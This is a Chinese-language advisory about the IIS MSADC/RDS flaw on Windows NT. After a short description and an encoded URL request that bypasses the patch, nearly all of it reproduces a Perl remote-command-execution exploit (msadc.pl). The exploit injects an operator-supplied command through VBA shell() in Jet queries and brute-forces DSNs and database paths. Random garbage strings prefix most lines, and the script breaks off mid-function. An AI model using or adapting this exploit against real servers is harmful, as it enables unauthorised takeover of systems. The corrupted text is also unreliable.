IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
B/n[m@O #^]n0! 涉及程序:
mml
z&h Microsoft NT server
x,'!eCKN 5scEc,JCi 描述:
AoyX\iqQ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
*oybD=%4 aCL!]4K84$ 详细:
jq!tT%o*B 如果你没有时间读详细内容的话,就删除:
4!wR_@W^El c:\Program Files\Common Files\System\Msadc\msadcs.dll
L31|\x] 有关的安全问题就没有了。
9HX =T% 0P]E6hWgg 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
XO'l Nb. .rf"
(lM 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
\7*`}& 关于利用ODBC远程漏洞的描述,请参看:
e zOj+vz }[xs~!2F http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm !Ta>U^7 1</kTm/Qa 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
QNl'ZB\ http://www.microsoft.com/security/bulletins/MS99-025faq.asp z0do;_x]E )Dz+X9;g+ 这里不再论述。
F,'exuZ b3VS\[p 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
-!
K-Htb- /S lYm-uQ+ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
=xS+5( 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
hh[jN7K YtWJXkB ,tg0L$qC #将下面这段保存为txt文件,然后: "perl -x 文件名"
{+@bZ}57 9rA=pH%<>B #!perl
o-Ga3i 8 #
Tq~=TSD # MSADC/RDS 'usage' (aka exploit) script
vz!s~cAt #
71{p+3Z& # by rain.forest.puppy
\oZ5JoO #
NrJKbk^4u/ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
nt@aYXK4| # beta test and find errors!
|.3DD"* S)/_muP use Socket; use Getopt::Std;
&sd}ulEg` getopts("e:vd:h:XR", \%args);
Tq4-wE+ W='>:H print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
%x}
O1yV $O5UyKI if (!defined $args{h} && !defined $args{R}) {
)<Hd T print qq~
STaA]i}P Usage: msadc.pl -h <host> { -d <delay> -X -v }
jNC4_q& -h <host> = host you want to scan (ip or domain)
y? co| -d <seconds> = delay between calls, default 1 second
2TA*m{\Hr -X = dump Index Server path table, if available
(!zy{;g| -v = verbose
NW&b&o -e = external dictionary file for step 5
IOV(seEY k{Aj^O3gD Or a -R will resume a command session
icgSe:Ci z.I9wQ]X[ ~; exit;}
/n8B,-Z5s5 '3 ^+{=q $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
HC}YY2 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
:]1TGfS if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
2Roc|)-47 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
,YMp<C $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
NSDv;|f if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
_zwUE ?%y?rk < if (!defined $args{R}){ $ret = &has_msadc;
]: ~OG@( die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
o+$7'+y1n- ,kn">k9 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
'u1?tQ=gmk . "cmd /c ";
6efnxxY}sa $in=<STDIN>; chomp $in;
c?,i3s+2Y $command="cmd /c " . $in ;
e[#j.|m smDw<slC if (defined $args{R}) {&load; exit;}
E}tqQ*u '>rw(3 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
r'*}TM'8 &try_btcustmr;
1[vi. oTuOw|[ print "\nStep 2: Trying to make our own DSN...";
[`):s= FC &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
GHeVp/u se>MQM5 ) print "\nStep 3: Trying known DSNs...";
.8G@%p{, &known_dsn;
k'5?M [n$BRk| print "\nStep 4: Trying known .mdbs...";
UQI]>#_/v &known_mdb;
hHMN6i byfJy^8G if (defined $args{e}){
?28N ^ print "\nStep 5: Trying dictionary of DSN names...";
M%0C_=zg &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
JQ@E>o7_ K]9"_UnN print "Sorry Charley...maybe next time?\n";
=HlQ36;* exit;
X]dwX%:Z!j w2'f/ ##############################################################################
jWE:ek* @ >U-t{W sub sendraw { # ripped and modded from whisker
V:c;-)( sleep($delay); # it's a DoS on the server! At least on mine...
9*1,!%] my ($pstr)=@_;
/Dj=iBO socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
8!Ww J
Oe die("Socket problems\n");
7F{3*`/6 if(connect(S,pack "SnA4x8",2,80,$target)){
uPl\I6k select(S); $|=1;
fL=~NC" print $pstr; my @in=<S>;
-B$2\ZE select(STDOUT); close(S);
AQiwugs return @in;
&Ob!4+v/GP } else { die("Can't connect...\n"); }}
$
.
9V& q*7VqB ##############################################################################
5w@4:$=I c>)Yt^q&K sub make_header { # make the HTTP request
:FTMmW,>' my $msadc=<<EOT
eF3,2DDC POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
{>)#HD User-Agent: ACTIVEDATA
_<OSqE Host: $ip
aiu5}%U Content-Length: $clen
@0u~?!g@ Connection: Keep-Alive
l|k`YC x z\%Ls
ADCClientVersion:01.06
F
70R1OYU Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
^kB8F"X Evjj"h&0J --!ADM!ROX!YOUR!WORLD!
7G>dTO Content-Type: application/x-varg
R'@9]99 Content-Length: $reqlen
0p!>JQ]m n4#;k=mA EOT
&H`jL4S ; $msadc=~s/\n/\r\n/g;
MfWyc_ return $msadc;}
(j3xAA YS *9t
Q{ ##############################################################################
65aK2MS@ %YC_Se7 sub make_req { # make the RDS request
cZ2kYn8 my ($switch, $p1, $p2)=@_;
[CXrSST")E my $req=""; my $t1, $t2, $query, $dsn;
ZP\-T*)l$ mh{1*T$fP if ($switch==1){ # this is the btcustmr.mdb query
-K3^BZHI $query="Select * from Customers where City=" . make_shell();
n74V|b6W $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
$NZ-{dY{ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
gh8F2V;< EKsT~SS elsif ($switch==2){ # this is general make table query
tE`u(B, $query="create table AZZ (B int, C varchar(10))";
#T=LR@y $dsn="$p1";}
&bfA.&
` Pf\D-1gi elsif ($switch==3){ # this is general exploit table query
m4l&
eEp $query="select * from AZZ where C=" . make_shell();
5?F__Hx*2 $dsn="$p1";}
Bx4w)9+3 Tw;3_Lj elsif ($switch==4){ # attempt to hork file info from index server
zPjHsulK $query="select path from scope()";
9E>|=d|(d $dsn="Provider=MSIDXS;";}
!~rY1T~ j+uLV{~g6 elsif ($switch==5){ # bad query
P<a)25be/ $query="select";
9E"vN $dsn="$p1";}
Ke2ccN [VsKa\9u $t1= make_unicode($query);
0,89H4 $t2= make_unicode($dsn);
f>UXD $req = "\x02\x00\x03\x00";
Xy$3VU* $req.= "\x08\x00" . pack ("S1", length($t1));
+>{Y.`a;Jo $req.= "\x00\x00" . $t1 ;
m0;CH/D0 $req.= "\x08\x00" . pack ("S1", length($t2));
7KAO+\)H^Y $req.= "\x00\x00" . $t2 ;
uJC~LC N $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
9{5&^RbCp return $req;}
%~2YE U$WxHYo ##############################################################################
K|hjEQRv q$B>|y U sub make_shell { # this makes the shell() statement
xgKdMW'%g: return "'|shell(\"$command\")|'";}
'z%o16F)L YH\OFg@7 ##############################################################################
:?g:~+hfO v{ 0= sub make_unicode { # quick little function to convert to unicode
x"gd8j]s my ($in)=@_; my $out;
e'~J,(fB for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
P'Ux%Q+B> return $out;}
Vt".%d/`7 +~mA}psr ##############################################################################
~l]ve,W[ O06"bi5Y sub rdo_success { # checks for RDO return success (this is kludge)
,P70Jb my (@in) = @_; my $base=content_start(@in);
lTV'J?8!-a if($in[$base]=~/multipart\/mixed/){
CkoLTY return 1 if( $in[$base+10]=~/^\x09\x00/ );}
uF9C-H@: return 0;}
8T!+ZQAz QSszn`e ##############################################################################
+RYls|f '":lB]hS sub make_dsn { # this makes a DSN for us
LXC9I/j/ my @drives=("c","d","e","f");
7|$:=4 print "\nMaking DSN: ";
~,oMz<iMV foreach $drive (@drives) {
3c]b)n~Y print "$drive: ";
)GM41t1i my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
[BqHx5Xz( "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
i*Sqd a
$ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
S~;4*7+?: $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
b`~p.c%( return 0 if $2 eq "404"; # not found/doesn't exist
w&o&jAb-M if($2 eq "200") {
$Bs {u=+w foreach $line (@results) {
~M7y*'oY return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
=F]FP5V } return 0;}
+wN^c#~7 ;>?rP88t ##############################################################################
j}JrE,| {MCi<7j<? sub verify_exists {
#xQr<p$L6 my ($page)=@_;
iS
WU'K my @results=sendraw("GET $page HTTP/1.0\n\n");
][9%Kl*%@p return $results[0];}
JGsx_V1t 1DE<rKI ##############################################################################
2.l Z:VLN ^Eb.:}!D6 sub try_btcustmr {
O4cr*MCb5 my @drives=("c","d","e","f");
d4>Z8FF|1B my @dirs=("winnt","winnt35","winnt351","win","windows");
jv%kOovj
19Mu61 foreach $dir (@dirs) {
ER5gmmVP@p print "$dir -> "; # fun status so you can see progress
QLEKsX7p> foreach $drive (@drives) {
ktFhc3);! print "$drive: "; # ditto
W&&;:Fr $reqlen=length( make_req(1,$drive,$dir) ) - 28;
vd
0ljA $reqlenlen=length( "$reqlen" );
HkUWehVm $clen= 206 + $reqlenlen + $reqlen;
pgI^4h Lvq>v0| my @results=sendraw(make_header() . make_req(1,$drive,$dir));
)4gJd?
8R if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
6@{(;~r else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
LcSX *MC [y'f|XN ##############################################################################
A+"ia1p,} bm?sbE sub odbc_error {
g*e my (@in)=@_; my $base;
7hlO#PYZ my $base = content_start(@in);
Jq&uF*! if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
k.vBj~xU $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
9F)z4 $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
J'SZ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
u09:Z{tL;@ return $in[$base+4].$in[$base+5].$in[$base+6];}
-0$55pa/@: print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
>VP=MbN print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
^;Y|3)vvB $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
E*V`":efS s.N7qO^:E ##############################################################################
K1r#8Q!t 8S mCpg sub verbose {
H:t$'kb` my ($in)=@_;
K?B{rE Lp return if !$verbose;
b\vKJ2
print STDOUT "\n$in\n";}
)vjh~ybZ hyCh9YOu) ##############################################################################
]h* c,. ]>LhkA@V sub save {
4)h]MOZ my ($p1, $p2, $p3, $p4)=@_;
)Dw,q~xgg0 open(OUT, ">rds.save") || print "Problem saving parameters...\n";
!}v=N";c print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
p^%YBY#,H close OUT;}
FT#8L tyXuG< ##############################################################################
4C<jdv_J WN?O'E=2 sub load {
Rot@x r7Hc my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
kP#B5K_U| open(IN,"<rds.save") || die("Couldn't open rds.save\n");
cZB7fmq% @p=<IN>; close(IN);
Ne8Cgp $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
L+Xc-uv["p $target= inet_aton($ip) || die("inet_aton problems");
*1p|5!4c print "Resuming to $ip ...";
@kpv{`Y $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
\6E|pbJ}x if($p[1]==1) {
!sDh4jQ` $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
/y _O4 $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
%{AO+u2i my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
01r 8$+ if (rdo_success(@results)){print "Success!\n";}
t2F_uCr else { print "failed\n"; verbose(odbc_error(@results));}}
k2c}3 MeP elsif ($p[1]==3){
6x h:/j3 if(run_query("$p[3]")){
Sp@^XmX(S print "Success!\n";} else { print "failed\n"; }}
<tF9V Jq elsif ($p[1]==4){
h U`wVy if(run_query($drvst . "$p[3]")){
Gn|F`F print "Success!\n"; } else { print "failed\n"; }}
M m[4yP% exit;}
s} UjGFP :3XA!o&.T3 ##############################################################################
@&%'4j&+ 2z6yn?'&L sub create_table {
\>jLRb|7Ts my ($in)=@_;
x_|UPF $reqlen=length( make_req(2,$in,"") ) - 28;
4}_j`d/8| $reqlenlen=length( "$reqlen" );
uw[<5 $clen= 206 + $reqlenlen + $reqlen;
P3cR l'] my @results=sendraw(make_header() . make_req(2,$in,""));
_LMM,!f return 1 if rdo_success(@results);
LR.Hh my $temp= odbc_error(@results); verbose($temp);
TH; R return 1 if $temp=~/Table 'AZZ' already exists/;
& -{DfNK c return 0;}
]h>_\9qO %\D)u8} ##############################################################################
ud xZ0 ?nofUD. sub known_dsn {
Bt>}rYz1 # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
LJk@Vy <? my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
S4^vpY
DeN "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
mL{B!Q "banner", "banners", "ads", "ADCDemo", "ADCTest");
#w,Dwy 7ePqmB<. foreach $dSn (@dsns) {
0vEoGgY0*: print ".";
vy0X_DPCr next if (!is_access("DSN=$dSn"));
p<TpK ) if(create_table("DSN=$dSn")){
?]Pmxp
H} print "$dSn successful\n";
CN#+U,NZV if(run_query("DSN=$dSn")){
qUjmB sB print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
{;N,t]>8M print "Something's borked. Use verbose next time\n";}}} print "\n";}
]l1\? I jGXO\:sO ##############################################################################
ofPHmh` !lf|7 sub is_access {
ap&?r`Tu my ($in)=@_;
4]h
=yc R $reqlen=length( make_req(5,$in,"") ) - 28;
$
et0s;GBv $reqlenlen=length( "$reqlen" );
J)`-+}7$v $clen= 206 + $reqlenlen + $reqlen;
zo +nq%= my @results=sendraw(make_header() . make_req(5,$in,""));
~%^
tB my $temp= odbc_error(@results);
bu:S:` verbose($temp); return 1 if ($temp=~/Microsoft Access/);
rqdE6y+^ return 0;}
kSR\RuY* gZLP\_CL ##############################################################################
xl6,s>ob giZP.C"0 sub run_query {
+Vm}E0Ov my ($in)=@_;
2q3+0Et8 $reqlen=length( make_req(3,$in,"") ) - 28;
r G4';V^q $reqlenlen=length( "$reqlen" );
MS\>DW $clen= 206 + $reqlenlen + $reqlen;
K8>zF/# + my @results=sendraw(make_header() . make_req(3,$in,""));
BybW)+~ return 1 if rdo_success(@results);
85n1eE my $temp= odbc_error(@results); verbose($temp);
.QA }u ,EN return 0;}
tNGp\~ |?qquD 4= ##############################################################################
62 O.?Ij 7B!xT2{T sub known_mdb {
k"NVV$; my @drives=("c","d","e","f","g");
7NDr1Z#B6V my @dirs=("winnt","winnt35","winnt351","win","windows");
3gv|9T my $dir, $drive, $mdb;
K[ (NTp$E my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
<F}_ /q1 5Yl<h)1 # this is sparse, because I don't know of many
RoU55mL my @sysmdbs=( "\\catroot\\icatalog.mdb",
#9X70|f "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
^C_#<m_k "\\system32\\certmdb.mdb",
ppZDGpp "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
H
*[_cqnv 3):A my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
N F+iza;DP "\\cfusion\\cfapps\\forums\\forums_.mdb",
y^%n'h{ "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
n^z]q;IN2. "\\cfusion\\cfapps\\security\\realm_.mdb",
{B[=?6tQ "\\cfusion\\cfapps\\security\\data\\realm.mdb",
7(qE0R&@ "\\cfusion\\database\\cfexamples.mdb",
l-SAC3qhG "\\cfusion\\database\\cfsnippets.mdb",
&;+-?k| "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
KVD8YfF "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
BReJ!|{m} "\\cfusion\\brighttiger\\database\\cleam.mdb",
4:|S` jm "\\cfusion\\database\\smpolicy.mdb",
D@Vt^_ "\\cfusion\\database\cypress.mdb",
>sK!F$ "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
;?8_G%va "\\website\\cgi-win\\dbsample.mdb",
tS|(K=$
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
fjU8gV "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
$lLz3YS ); #these are just
'R
c,Mq' foreach $drive (@drives) {
lEhk'/~ foreach $dir (@dirs){
R $&o*K`? foreach $mdb (@sysmdbs) {
*Eo?k<:zPm print ".";
byTh/ H if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
Olh<,p+x print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
5\e9@1Rc if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
BaSZ71>9]r print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
cFeXpj?GV
} else { print "Something's borked. Use verbose next time\n"; }}}}}
yls
^ cyX v#.r.{t foreach $drive (@drives) {
7T1=q{#M foreach $mdb (@mdbs) {
z"0I>gl print ".";
8Le||)y,\ if(create_table($drv . $drive . $dir . $mdb)){
(>r[-Bft print "\n" . $drive . $dir . $mdb . " successful\n";
Cq%IE^g< if(run_query($drv . $drive . $dir . $mdb)){
)rekY; print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
D|Q#gcWp o } else { print "Something's borked. Use verbose next time\n"; }}}}
,6om\9.E@ }
3wC' r @}@Z8$G^ ##############################################################################
O*0l+mop YhDtUt}? sub hork_idx {
8=gjY\Dp print "\nAttempting to dump Index Server tables...\n";
M+w=O!dq print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
ptU\[Tq $reqlen=length( make_req(4,"","") ) - 28;
*T5!{ $reqlenlen=length( "$reqlen" );
i70wrW#k $clen= 206 + $reqlenlen + $reqlen;
]=>F.GE my @results=sendraw2(make_header() . make_req(4,"",""));
.
koYHq if (rdo_success(@results)){
\'|>p/5I my $max=@results; my $c; my %d;
mGJasn for($c=19; $c<$max; $c++){
>AcrG] $results[$c]=~s/\x00//g;
^-,xE>3o $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
y#q?A,C@n $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
b)=[1g/=L $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
/+@p7FqlE $d{"$1$2"}="";}
}Q=!Y>Tc foreach $c (keys %d){ print "$c\n"; }
dvt9u9Vg= } else {print "Index server doesn't seem to be installed.\n"; }}
T`5bZu^c vvKEv/pN7 ##############################################################################
Y?(r3E^x iZM+JqfU|D sub dsn_dict {
hFH*B~*:# open(IN, "<$args{e}") || die("Can't open external dictionary\n");
!*oi!ysU;O while(<IN>){
"
N9 <w U $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
S/4^ d &Gr next if (!is_access("DSN=$dSn"));
QWzB6H] if(create_table("DSN=$dSn")){
Sgp;@4`M print "$dSn successful\n";
px}|Mu7z~ if(run_query("DSN=$dSn")){
>_|O1H./4 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
EUN81F? print "Something's borked. Use verbose next time\n";}}}
$shoasSuI print "\n"; close(IN);}
:9^;Qv* ,u`B<heoLU ##############################################################################
i 7x7xtq L{h%f4Du# sub sendraw2 { # ripped and modded from whisker
vTlwRG=5 sleep($delay); # it's a DoS on the server! At least on mine...
L#+q]j+ my ($pstr)=@_;
0tEYU:Qu socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
my4giC2a die("Socket problems\n");
^yyC
[Mz if(connect(S,pack "SnA4x8",2,80,$target)){
wtH?
[>S;) print "Connected. Getting data";
(2:/8\_P open(OUT,">raw.out"); my @in;
UN]f"k&